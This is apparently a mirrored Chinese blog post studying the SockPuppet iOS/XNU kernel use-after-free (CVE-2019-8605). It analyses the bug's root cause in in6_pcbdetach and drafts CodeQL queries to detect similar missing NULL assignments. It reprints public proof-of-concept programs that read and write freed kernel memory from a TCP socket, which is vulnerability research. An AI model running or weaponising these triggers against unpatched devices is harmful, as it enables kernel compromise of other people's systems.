4

SockPuppet学习记录(一) : 漏洞分析

 3 years ago
source link: https://o0xmuhe.github.io/2021/02/28/SockPuppet%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95-%E4%B8%80-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
2021-02-2811 minutes leer (Acerca de 1597 palabras)

SockPuppet学习记录(一) : 漏洞分析

Basic

这个漏洞是由pj0的 nedwill 发现的,而且是一个品相极佳的可以用于越狱的漏洞,本文只是对漏洞进行分析,并且思考/尝试使用CodeQL对该类型漏洞覆盖。当然,在看了原作者的文章之后,才发现nedwill是利用Fuzzing的手段发现的这个漏洞,并且在挖掘读/写原语的时候也是借助了Fuzzing的手段,可以说十分的巧妙和高效了。

Issue%201806%20XNU%20Use-after-free%20due%20to%20stale%20pointer%20a2555a06c23846e09d40b51e696047aa/Untitled.png

raw poc

在测试原始PoC获得的Crash信息如下:

Issue%201806%20XNU%20Use-after-free%20due%20to%20stale%20pointer%20a2555a06c23846e09d40b51e696047aa/Untitled%201.png

原始PoC使用了raw socket触发,但是美中不足,这个方式必须要root权限才能触发。
(定制化sockaddr_in6 需要raw socket)

#define IPPROTO_IP 0

#define IN6_ADDR_ANY { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }
#define IN6_ADDR_LOOPBACK { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 }

int main() {
int s = socket(AF_INET6, SOCK_RAW, IPPROTO_IP);
printf("res0: %d\n", s);
struct sockaddr_in6 sa1 = {
.sin6_len = sizeof(struct sockaddr_in6),
.sin6_family = AF_INET6,
.sin6_port = 65000,
.sin6_flowinfo = 3,
.sin6_addr = IN6_ADDR_LOOPBACK,
.sin6_scope_id = 0,
};
struct sockaddr_in6 sa2 = {
.sin6_len = sizeof(struct sockaddr_in6),
.sin6_family = AF_INET6,
.sin6_port = 65001,
.sin6_flowinfo = 3,
.sin6_addr = IN6_ADDR_ANY,
.sin6_scope_id = 0,
};

int res = connect(s, (const sockaddr*)&sa1, sizeof(sa1));
printf("res1: %d\n", res);

unsigned char buffer[4] = {};
res = setsockopt(s, 41, 50, buffer, sizeof(buffer));
printf("res1.5: %d\n", res);

res = connect(s, (const sockaddr*)&sa2, sizeof(sa2));
printf("res2: %d\n", res);

close(s);
printf("done\n");
}

后续ned经过研究发现可以通过tcp socket方式触发,可以用于read free’d memroy:

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>

/*
TCP-based reproducer for CVE-2019-8605
This has the benefit of being reachable from the app sandbox on iOS 12.2.
*/

#define IPV6_3542PKTINFO 46

int main() {
int s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
printf("res0: %d\n", s);

unsigned char buffer[1] = {'\xaa'};
int res = setsockopt(s, IPPROTO_IPV6, IPV6_3542PKTINFO, buffer, sizeof(buffer));
printf("res1: %d\n", res);

res = disconnectx(s, 0, 0);
printf("res2: %d\n", res);

socklen_t buffer_len = sizeof(buffer);

//get sth from ...
res = getsockopt(s, IPPROTO_IPV6, IPV6_3542PKTINFO, buffer, &buffer_len);
printf("res3: %d\n", res);
printf("got %d\n", buffer[0]);

close(s);
printf("done\n");
}

write

经过nedwill的Fuzzing测试,发现了write free’d memory 的PoC:

//
// setoptshut.m
// ExploitDev
// TCP-based reproducer for CVE-2019-8605, using SONPX_SETOPTSHUT to do a
// write to the freed memory. Tested on iOS 12.2.
//
// Created by Ned Williamson on 6/17/19.
// Copyright © 2019 Ned Williamson. All rights reserved.
//

#import <UIKit/UIKit.h>
#import "AppDelegate.h"

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>

#define IPV6_USE_MIN_MTU 42

int main(int argc, char * argv[]) {
while (1) {
int s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
printf("res0: %d\n", s);

// Permit setsockopt after disconnecting (and freeing socket options)
struct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT};
int res = setsockopt(s, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx));
printf("res1: %d\n", res);

int minmtu = -1;
res = setsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
printf("res2: %d\n", res);

res = disconnectx(s, 0, 0);
printf("res3: %d\n", res);

// set, write sth...
res = setsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
printf("res4: %d\n", res);

close(s);
printf("done\n");
}

@autoreleasepool {
return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class]));
}
}

bug analysis

根据漏洞描述,可以看到漏洞的 root cause如下:

void
in6_pcbdetach(struct inpcb *inp)
{
// ...
if (!(so->so_flags & SOF_PCBCLEARING)) {
struct ip_moptions *imo;
struct ip6_moptions *im6o;

inp->inp_vflag = 0;
if (inp->in6p_options != NULL) {
m_freem(inp->in6p_options);
inp->in6p_options = NULL; // <- good
}
ip6_freepcbopts(inp->in6p_outputopts); // <- bad
ROUTE_RELEASE(&inp->in6p_route);
// free IPv4 related resources in case of mapped addr
if (inp->inp_options != NULL) {
(void) m_free(inp->inp_options); // <- good
inp->inp_options = NULL;
}

漏洞路径 bsd/netinet6/in6_pcb.c ,协议族 AF_INET6 的处理函数,从函数名字来看是
断开连接时候会执行的一些操作(释放一些资源),但是释放之后忘记把指针置NULL,导致同一个套接字重连的时候又使用到了这个指针(悬垂指针)。
根据nedwill的描述,连接断开再set/get socketopt的场景可以触发。

Issue%201806%20XNU%20Use-after-free%20due%20to%20stale%20pointer%20a2555a06c23846e09d40b51e696047aa/Untitled%202.png

进入函数之前有一个 socket so_flags 的检查,poc中的 setsockopt() 调用应该是为了能过进入漏洞逻辑设计的。

利用 socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); 这个poc,逻辑应该是:

  • 创建socket连接
  • setsockopt,为了后续可以进入漏洞代码分支,同时设置要读的数据
  • disconnectx 断开连接,触发 free 逻辑
  • getsockopt,读取已经释放的内存

写的逻辑类似,不过作者是找到了另外特殊的成员来完成写操作: SONPX_SETOPTSHUT

这个洞的品相太好了 :-)

how to find by QL

xnu database

可以从semmle官方网站下载

Analyzing large open source projects

about this bug

看起来是:

int demo(p){

ptr, p2; // ....

free(ptr);
ptr = NULL;

m_free(p->p1); // vuln!

if(xxx){
freem(p2);
p2 = NULL;
}

}

释放了内存之后,没有对指针做置NULL处理。

  • 需要在同一个函数里,同一个代码块里。 锁的问题考虑吗?
  • 释放逻辑,正则匹配下, xxxfree, freexxx, releasexxx之类的

query 1

根据上面的描述,我们找到free 调用,且free调用下一行是特定的赋值表达式的情况:

import cpp

from FunctionCall call, AssignExpr e
where call.getTarget().getName().regexpMatch(".*free.*?") and
call.getEnclosingBlock() = e.getEnclosingBlock() and
e.getRValue().(Literal).getValue() = "0" and
call.getLocation().getStartLine() + 1 = e.getLocation().getStartLine()
select call, call.getEnclosingFunction().getName(), call.getArgument(0)

Issue%201806%20XNU%20Use-after-free%20due%20to%20stale%20pointer%20a2555a06c23846e09d40b51e696047aa/Untitled%203.png

这里有一个问题,我尝试过 free调用的参数作为赋值表达式的左值 这条约束,但是加上之后就找不到任何结果了,如果有人知道原因还请指点一下 : )

query 2

上面query可以找到 free后是set NULL的代码段,如果想找不满足条件的,可以检测free逻辑下一行是不是 instance of AssignExpr,当然这样比较粗糙,会存在误报。

from FunctionCall call, Expr e
where call.getTarget().getName().regexpMatch(".*free.*?") and
call.getEnclosingBlock() = e.getEnclosingBlock() and
not(e instanceof AssignExpr ) and
call.getLocation().getStartLine() + 1 = e.getLocation().getStartLine()
select call, call.getEnclosingFunction().getName(), call.getArgument(0)

这样写,虽然可以找到目标代码,但是存在误报(优化TODO):

Issue%201806%20XNU%20Use-after-free%20due%20to%20stale%20pointer%20a2555a06c23846e09d40b51e696047aa/Untitled%204.png


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK